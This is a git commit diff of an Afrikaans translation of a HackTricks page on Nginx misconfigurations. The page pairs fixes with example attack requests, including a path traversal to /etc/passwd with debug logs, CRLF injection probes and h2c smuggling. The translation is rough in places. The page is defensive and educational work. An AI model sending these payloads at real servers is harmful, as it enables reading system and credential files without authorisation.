mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/nginx.md'] t
This commit is contained in:
Translator
parent
033e876c92
commit
c11b1b6070
BIN
src/images/nginx_try_files.png
Normal file
BIN
src/images/nginx_try_files.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 190 KiB |
@ -5,7 +5,7 @@
|
||||
|
||||
## Ontbrekende wortel ligging <a href="#missing-root-location" id="missing-root-location"></a>
|
||||
|
||||
Wanneer die Nginx-bediener gekonfigureer word, speel die **wortelrigting** 'n kritieke rol deur die basisgids te definieer waaruit lêers bedien word. Oorweeg die onderstaande voorbeeld:
|
||||
Wanneer die Nginx-bediener gekonfigureer word, speel die **wortelriglyn** 'n kritieke rol deur die basisgids te definieer waaruit lêers bedien word. Oorweeg die onderstaande voorbeeld:
|
||||
```bash
|
||||
server {
|
||||
root /etc/nginx;
|
||||
@ -16,19 +16,19 @@ proxy_pass http://127.0.0.1:8080/;
|
||||
}
|
||||
}
|
||||
```
|
||||
In hierdie konfigurasie is `/etc/nginx` aangewys as die wortelgids. Hierdie opstelling stel toegang tot lêers binne die gespesifiseerde wortelgids moontlik, soos `/hello.txt`. Dit is egter belangrik om te noem dat slegs 'n spesifieke ligging (`/hello.txt`) gedefinieer is. Daar is geen konfigurasie vir die wortelligging nie (`location / {...}`). Hierdie omissie beteken dat die wortelriglyn globaal van toepassing is, wat versoeke na die wortelpad `/` in staat stel om toegang te verkry tot lêers onder `/etc/nginx`.
|
||||
In hierdie konfigurasie is `/etc/nginx` as die wortelgids aangewys. Hierdie opstelling laat toegang tot lêers binne die gespesifiseerde wortelgids toe, soos `/hello.txt`. Dit is egter belangrik om te noem dat slegs 'n spesifieke ligging (`/hello.txt`) gedefinieer is. Daar is geen konfigurasie vir die wortelligging nie (`location / {...}`). Hierdie omissie beteken dat die wortelriglyn globaal van toepassing is, wat versoeke na die wortelpad `/` toelaat om lêers onder `/etc/nginx` te benader.
|
||||
|
||||
'n Kritieke sekuriteitsoorweging ontstaan uit hierdie konfigurasie. 'n Eenvoudige `GET` versoek, soos `GET /nginx.conf`, kan sensitiewe inligting blootstel deur die Nginx-konfigurasielêer wat geleë is by `/etc/nginx/nginx.conf` te bedien. Om die wortel na 'n minder sensitiewe gids, soos `/etc`, in te stel, kan hierdie risiko verminder, maar dit mag steeds onbedoelde toegang tot ander kritieke lêers, insluitend ander konfigurasielêers, toeganglogs en selfs versleutelde akrediteerings wat vir HTTP basiese outentisering gebruik word, toelaat.
|
||||
'n Kritieke sekuriteitsoorweging ontstaan uit hierdie konfigurasie. 'n Eenvoudige `GET` versoek, soos `GET /nginx.conf`, kan sensitiewe inligting blootstel deur die Nginx-konfigurasielêer wat by `/etc/nginx/nginx.conf` geleë is, te bedien. Om die wortel na 'n minder sensitiewe gids, soos `/etc`, in te stel, kan hierdie risiko verminder, maar dit mag steeds onbedoelde toegang tot ander kritieke lêers, insluitend ander konfigurasielêers, toeganglogs en selfs versleutelde akrediteerings wat vir HTTP basiese outentisering gebruik word, toelaat.
|
||||
|
||||
## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
|
||||
|
||||
In die konfigurasielêers van Nginx is 'n noukeurige inspeksie van die "location" riglyne nodig. 'n Kwessie bekend as Local File Inclusion (LFI) kan per ongeluk bekendgestel word deur 'n konfigurasie wat soos die volgende lyk:
|
||||
In die konfigurasielêers van Nginx is 'n noukeurige inspeksie van die "location" riglyne nodig. 'n Kwessie bekend as Local File Inclusion (LFI) kan per ongeluk ingevoer word deur 'n konfigurasie wat soos die volgende lyk:
|
||||
```
|
||||
location /imgs {
|
||||
alias /path/images/;
|
||||
}
|
||||
```
|
||||
Hierdie konfigurasie is geneig tot LFI-aanvalle weens die bediener wat versoeke soos `/imgs../flag.txt` interpreteer as 'n poging om lêers buite die bedoelde gids te benader, wat effektief oplos na `/path/images/../flag.txt`. Hierdie fout laat aanvallers toe om lêers van die bediener se lêerstelsel te verkry wat nie via die web toeganklik behoort te wees nie.
|
||||
Hierdie konfigurasie is geneig tot LFI-aanvalle omdat die bediener versoeke soos `/imgs../flag.txt` interpreteer as 'n poging om lêers buite die bedoelde gids te benader, wat effektief oplos na `/path/images/../flag.txt`. Hierdie fout laat aanvallers toe om lêers van die bediener se lêerstelsel te verkry wat nie via die web toeganklik behoort te wees nie.
|
||||
|
||||
Om hierdie kwesbaarheid te verminder, moet die konfigurasie aangepas word na:
|
||||
```
|
||||
@ -62,12 +62,12 @@ deny all;
|
||||
../../pentesting-web/proxy-waf-protections-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## Onveilige gebruik van veranderlikes / HTTP Versoek Splitting <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
|
||||
## Onveilige gebruik van veranderlikes / HTTP Versoek Splitsing <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
|
||||
|
||||
> [!CAUTION]
|
||||
> Kwetsbare veranderlikes `$uri` en `$document_uri` en dit kan reggestel word deur dit te vervang met `$request_uri`.
|
||||
>
|
||||
> 'n Regex kan ook kwesbaar wees soos:
|
||||
> 'n regex kan ook kwesbaar wees soos:
|
||||
>
|
||||
> `location ~ /docs/([^/])? { … $1 … }` - Kwetsbaar
|
||||
>
|
||||
@ -75,7 +75,7 @@ deny all;
|
||||
>
|
||||
> `location ~ /docs/(.*)? { … $1 … }` - Nie kwesbaar nie
|
||||
|
||||
'n Kwetsbaarheid in Nginx-konfigurasie word demonstreer deur die voorbeeld hieronder:
|
||||
'n Kwetsbaarheid in Nginx-konfigurasie word gedemonstreer deur die voorbeeld hieronder:
|
||||
```
|
||||
location / {
|
||||
return 302 https://example.com$uri;
|
||||
@ -91,14 +91,14 @@ Connection: keep-alive
|
||||
Location: https://example.com/
|
||||
Detectify: clrf
|
||||
```
|
||||
Leer meer oor die risiko's van CRLF-inspuiting en respons-splitting by [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
|
||||
Leer meer oor die risiko's van CRLF-inspuiting en antwoordsplitsing by [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
|
||||
|
||||
Ook, hierdie tegniek is [**verduidelik in hierdie praatjie**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) met 'n paar kwesbare voorbeelde en opsporingsmeganismes. Byvoorbeeld, om hierdie miskonfigurasie vanuit 'n swartdoos perspektief op te spoor, kan jy hierdie versoeke gebruik:
|
||||
Ook hierdie tegniek is [**verduidelik in hierdie praatjie**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) met 'n paar kwesbare voorbeelde en opsporingsmeganismes. Byvoorbeeld, om hierdie verkeerde konfigurasie vanuit 'n swartdoos perspektief op te spoor, kan jy hierdie versoeke gebruik:
|
||||
|
||||
- `https://example.com/%20X` - Enige HTTP-kode
|
||||
- `https://example.com/%20H` - 400 Bad Request
|
||||
|
||||
As kwesbaar, sal die eerste terugkeer as "X" is enige HTTP-metode en die tweede sal 'n fout teruggee aangesien H nie 'n geldige metode is nie. So die bediener sal iets soos ontvang: `GET / H HTTP/1.1` en dit sal die fout aktiveer.
|
||||
As dit kwesbaar is, sal die eerste terugkeer as "X" is enige HTTP-metode en die tweede sal 'n fout teruggee aangesien H nie 'n geldige metode is nie. So die bediener sal iets soos ontvang: `GET / H HTTP/1.1` en dit sal die fout aktiveer.
|
||||
|
||||
Nog 'n opsporingsvoorbeeld sou wees:
|
||||
|
||||
@ -107,7 +107,7 @@ Nog 'n opsporingsvoorbeeld sou wees:
|
||||
|
||||
Sommige gevonde kwesbare konfigurasies wat in daardie praatjie aangebied is, was:
|
||||
|
||||
- Let op hoe **`$uri`** as is in die finale URL gestel is.
|
||||
- Let op hoe **`$uri`** soos dit in die finale URL gestel is
|
||||
```
|
||||
location ^~ /lite/api/ {
|
||||
proxy_pass http://lite-backend$uri$is_args$args;
|
||||
@ -127,17 +127,67 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
|
||||
```
|
||||
### Enige veranderlike
|
||||
|
||||
Daar is ontdek dat **gebruikersgeleverde data** onder sekere omstandighede as 'n **Nginx veranderlike** behandel kan word. Die oorsaak van hierdie gedrag bly ietwat ontwykend, maar dit is nie ongewoon of eenvoudig om te verifieer nie. Hierdie anomalie is in 'n sekuriteitsverslag op HackerOne beklemtoon, wat [hier](https://hackerone.com/reports/370094) beskou kan word. Verdere ondersoek na die foutboodskap het gelei tot die identifisering van sy voorkoms binne die [SSI filtermodule van Nginx se kodebasis](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), wat Server Side Includes (SSI) as die oorsaak identifiseer.
|
||||
Daar is ontdek dat **gebruikersgeleverde data** dalk as 'n **Nginx veranderlike** behandel kan word onder sekere omstandighede. Die oorsaak van hierdie gedrag bly ietwat ontwykend, maar dit is nie ongewoon of eenvoudig om te verifieer nie. Hierdie anomalie is in 'n sekuriteitsverslag op HackerOne beklemtoon, wat hier [beskou] kan word (https://hackerone.com/reports/370094). Verdere ondersoek na die foutboodskap het gelei tot die identifikasie van sy voorkoms binne die [SSI-filtermodule van Nginx se kodebasis](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), wat Server Side Includes (SSI) as die oorsaak identifiseer.
|
||||
|
||||
Om **hierdie miskonfigurasie te ontdek**, kan die volgende opdrag uitgevoer word, wat behels om 'n referer-kop te stel om vir veranderlike druk te toets:
|
||||
```bash
|
||||
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
|
||||
```
|
||||
Skanderings vir hierdie miskonfigurasie oor stelsels het verskeie gevalle onthul waar Nginx veranderlikes deur 'n gebruiker gedruk kon word. 'n Afname in die aantal kwesbare gevalle dui egter daarop dat pogings om hierdie probleem reg te stel, tot 'n mate suksesvol was.
|
||||
Skande vir hierdie miskonfigurasie oor stelsels het verskeie gevalle onthul waar Nginx veranderlikes deur 'n gebruiker gedruk kon word. egter, 'n afname in die aantal kwesbare gevalle dui daarop dat pogings om hierdie probleem reg te stel, tot 'n mate suksesvol was.
|
||||
|
||||
## Rau backend respons lees
|
||||
### Gebruik van try_files met $URI$ARGS veranderlikes
|
||||
|
||||
Nginx bied 'n kenmerk deur `proxy_pass` wat die onderskepping van foute en HTTP koptekste wat deur die backend geproduseer word, toelaat, met die doel om interne foutboodskappe en koptekste te verberg. Dit word bereik deur Nginx wat pasgemaakte foutbladsye dien in reaksie op backend foute. egter, uitdagings ontstaan wanneer Nginx 'n ongeldige HTTP versoek teëkom. So 'n versoek word na die backend gestuur soos ontvang, en die backend se rau respons word dan direk aan die kliënt gestuur sonder Nginx se tussenkoms.
|
||||
Die volgende Nginx miskonfigurasie kan lei tot 'n LFI kwesbaarheid:
|
||||
```
|
||||
location / {
|
||||
try_files $uri$args $uri$args/ /index.html;
|
||||
}
|
||||
```
|
||||
In ons konfigurasie het ons die riglyn `try_files` wat gebruik word om die bestaan van lêers in 'n gespesifiseerde volgorde te kontroleer. Nginx sal die eerste een bedien wat dit sal vind. Die basiese sintaksis van die `try_files` riglyn is soos volg:
|
||||
```
|
||||
try_files file1 file2 ... fileN fallback;
|
||||
```
|
||||
Nginx sal die bestaan van elke lêer in die gespesifiseerde volgorde nagaan. As 'n lêer bestaan, sal dit onmiddellik bedien word. As geen van die gespesifiseerde lêers bestaan nie, sal die versoek aan die terugvalopsie oorgedra word, wat 'n ander URI of 'n spesifieke foutbladsy kan wees.
|
||||
|
||||
E however, wanneer `$uri$args` veranderlikes in hierdie riglyn gebruik word, sal die Nginx probeer om 'n lêer te soek wat ooreenstem met die versoek URI gekombineer met enige navraagstring argumente. Daarom kan ons hierdie konfigurasie benut:
|
||||
```
|
||||
http {
|
||||
server {
|
||||
root /var/www/html/public;
|
||||
|
||||
location / {
|
||||
try_files $uri$args $uri$args/ /index.html;
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Met die volgende payload:
|
||||
```
|
||||
GET /?../../../../../../../../etc/passwd HTTP/1.1
|
||||
Host: example.com
|
||||
```
|
||||
Met ons payload sal ons die wortelgids (gedefinieer in die Nginx-konfigurasie) ontsnap en die `/etc/passwd`-lêer laai. In debug logs kan ons sien hoe die Nginx die lêers probeer:
|
||||
```
|
||||
...SNIP...
|
||||
|
||||
2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
|
||||
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"
|
||||
|
||||
...SNIP...
|
||||
|
||||
2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"
|
||||
|
||||
...SNIP...
|
||||
|
||||
2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK
|
||||
|
||||
```
|
||||
PoC teen Nginx met die konfigurasie hierbo genoem:
|
||||
|
||||
|
||||
## Rauwe backend antwoord lees
|
||||
|
||||
Nginx bied 'n funksie deur `proxy_pass` wat die onderskepping van foute en HTTP koptekste wat deur die backend geproduseer word, toelaat, met die doel om interne foutboodskappe en koptekste te verberg. Dit word bereik deurdat Nginx pasgemaakte foutbladsye bedien in reaksie op backend foute. egter, uitdagings ontstaan wanneer Nginx 'n ongeldige HTTP versoek teëkom. So 'n versoek word na die backend gestuur soos ontvang, en die backend se rauwe antwoord word dan direk aan die kliënt gestuur sonder Nginx se tussenkoms.
|
||||
|
||||
Oorweeg 'n voorbeeldscenario wat 'n uWSGI toepassing betrek:
|
||||
```python
|
||||
@ -158,9 +208,9 @@ proxy_hide_header Secret-Header;
|
||||
|
||||
Wanneer 'n geldige `GET` versoek gemaak word, verwerk Nginx dit normaalweg, en keer 'n standaard foutantwoord terug sonder om enige geheime koptekste te onthul. 'n Ongeldige HTTP-versoek omseil egter hierdie meganisme, wat lei tot die blootstelling van rou agtergrond-antwoorde, insluitend geheime koptekste en foutboodskappe.
|
||||
|
||||
## merge_slashes is op af
|
||||
## merge_slashes op af
|
||||
|
||||
Standaard is Nginx se **`merge_slashes` riglyn** op **`aan`** gestel, wat verskeie voorwaartse skuinsstrepies in 'n URL in 'n enkele skuinsstreep saampers. Hierdie kenmerk, terwyl dit URL-verwerking stroomlyn, kan onbedoeld kwesbaarhede in toepassings agter Nginx verberg, veral dié wat geneig is tot plaaslike lêerinvoeging (LFI) aanvalle. Sekuriteitskenners **Danny Robinson en Rotem Bar** het die potensiële risiko's wat met hierdie standaardgedrag geassosieer word, beklemtoon, veral wanneer Nginx as 'n omgekeerde proxy optree.
|
||||
Standaard is Nginx se **`merge_slashes` riglyn** op **`aan`** gestel, wat verskeie vorentoe-skuins in 'n URL in 'n enkele skuins saampers. Hierdie kenmerk, terwyl dit URL-verwerking stroomlyn, kan onbedoeld kwesbaarhede in toepassings agter Nginx verberg, veral dié wat geneig is tot plaaslike lêerinsluiting (LFI) aanvalle. Sekuriteitskenners **Danny Robinson en Rotem Bar** het die potensiële risiko's wat met hierdie standaardgedrag geassosieer word, beklemtoon, veral wanneer Nginx as 'n omgekeerde proxy optree.
|
||||
|
||||
Om sulke risiko's te verminder, word dit aanbeveel om die **`merge_slashes` riglyn af te skakel** vir toepassings wat vatbaar is vir hierdie kwesbaarhede. Dit verseker dat Nginx versoeke aan die toepassing deurgee sonder om die URL-struktuur te verander, en dus nie enige onderliggende sekuriteitskwessies te verberg nie.
|
||||
|
||||
@ -176,7 +226,7 @@ Soos getoon in [**hierdie skrywe**](https://mizu.re/post/cors-playground), is da
|
||||
- `X-Accel-Expires`: Stel die vervaldatum vir die antwoord in wanneer X-Accel-Redirect gebruik word.
|
||||
- `X-Accel-Limit-Rate`: Beperk die oordragtempo vir antwoorde wanneer X-Accel-Redirect gebruik word.
|
||||
|
||||
Byvoorbeeld, die koptekst **`X-Accel-Redirect`** sal 'n interne **herleiding** in die nginx veroorsaak. Dus, om 'n nginx-konfigurasie te hê met iets soos **`root /`** en 'n antwoord van die webbediener met **`X-Accel-Redirect: .env`** sal maak dat nginx die inhoud van **`/.env`** stuur (Path Traversal).
|
||||
Byvoorbeeld, die koptekst **`X-Accel-Redirect`** sal 'n interne **herleiding** in die nginx veroorsaak. Dus, om 'n nginx-konfigurasie te hê met iets soos **`root /`** en 'n antwoord van die webbediener met **`X-Accel-Redirect: .env`** sal maak dat nginx die inhoud van **`/.env`** (Path Traversal) stuur.
|
||||
|
||||
### **Standaardwaarde in Map Riglyn**
|
||||
|
||||
@ -199,11 +249,11 @@ return 200 "Hello. It is private area: $mappocallow";
|
||||
}
|
||||
}
|
||||
```
|
||||
Without a `default`, a **malicious user** kan sekuriteit omseil deur toegang te verkry tot 'n **ongedefinieerde URI** binne `/map-poc`. [Die Nginx handleiding](https://nginx.org/en/docs/http/ngx_http_map_module.html) adviseer om 'n **default waarde** in te stel om sulke probleme te vermy.
|
||||
Without a `default`, a **malicious user** kan sekuriteit omseil deur toegang te verkry tot 'n **onbeskryfde URI** binne `/map-poc`. [Die Nginx handleiding](https://nginx.org/en/docs/http/ngx_http_map_module.html) adviseer om 'n **standaardwaarde** in te stel om sulke probleme te vermy.
|
||||
|
||||
### **DNS Spoofing Kw vulnerability**
|
||||
|
||||
DNS spoofing teen Nginx is haalbaar onder sekere omstandighede. As 'n aanvaller die **DNS bediener** wat deur Nginx gebruik word, ken en sy DNS-vrae kan onderskep, kan hulle DNS rekords spoof. Hierdie metode is egter ondoeltreffend as Nginx geconfigureer is om **localhost (127.0.0.1)** vir DNS-resolusie te gebruik. Nginx laat toe om 'n DNS bediener soos volg te spesifiseer:
|
||||
DNS spoofing teen Nginx is haalbaar onder sekere omstandighede. As 'n aanvaller die **DNS bediener** wat deur Nginx gebruik word, ken en sy DNS-vrae kan onderskep, kan hulle DNS-rekords spoof. Hierdie metode is egter ondoeltreffend as Nginx geconfigureer is om **localhost (127.0.0.1)** vir DNS-resolusie te gebruik. Nginx laat toe om 'n DNS-bediener soos volg te spesifiseer:
|
||||
```yaml
|
||||
resolver 8.8.8.8;
|
||||
```
|
||||
@ -213,7 +263,7 @@ Die **`proxy_pass`** direktief word gebruik om versoeke na ander bedieners te he
|
||||
|
||||
## proxy_set_header Upgrade & Connection
|
||||
|
||||
As die nginx bediener geconfigureer is om die Upgrade en Connection headers oor te dra, kan 'n [**h2c Smuggling aanval**](../../pentesting-web/h2c-smuggling.md) uitgevoer word om toegang tot beskermde/intern eindpunte te verkry.
|
||||
As die nginx bediener geconfigureer is om die Upgrade en Connection headers oor te dra, kan 'n [**h2c Smuggling aanval**](../../pentesting-web/h2c-smuggling.md) uitgevoer word om toegang tot beskermde/internale eindpunte te verkry.
|
||||
|
||||
> [!CAUTION]
|
||||
> Hierdie kwesbaarheid sou 'n aanvaller in staat stel om **'n direkte verbinding met die `proxy_pass` eindpunt te vestig** (`http://backend:9999` in hierdie geval) waarvan die inhoud nie deur nginx gaan nagegaan word nie.
|
||||
@ -239,11 +289,11 @@ deny all;
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Let daarop dat selfs al was die `proxy_pass` op 'n spesifieke **pad** soos `http://backend:9999/socket.io` gerig, sal die verbinding gemaak word met `http://backend:9999`, sodat jy **enige ander pad binne daardie interne eindpunt kan kontak. Dit maak nie saak of 'n pad in die URL van proxy_pass gespesifiseer is nie.**
|
||||
> Let daarop dat selfs al was die `proxy_pass` op 'n spesifieke **pad** soos `http://backend:9999/socket.io` gewys, sal die verbinding gevestig word met `http://backend:9999`, sodat jy **enige ander pad binne daardie interne eindpunt kan kontak. Dit maak nie saak of 'n pad in die URL van proxy_pass gespesifiseer is nie.**
|
||||
|
||||
## Probeer dit self
|
||||
|
||||
Detectify het 'n GitHub-repo geskep waar jy Docker kan gebruik om jou eie kwesbare Nginx-toetsbediener op te stel met 'n paar van die miskonfigurasies wat in hierdie artikel bespreek is en probeer om dit self te vind!
|
||||
Detectify het 'n GitHub-repo geskep waar jy Docker kan gebruik om jou eie kwesbare Nginx-toetsbediener op te stel met sommige van die miskonfigurasies wat in hierdie artikel bespreek is en probeer om dit self te vind!
|
||||
|
||||
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user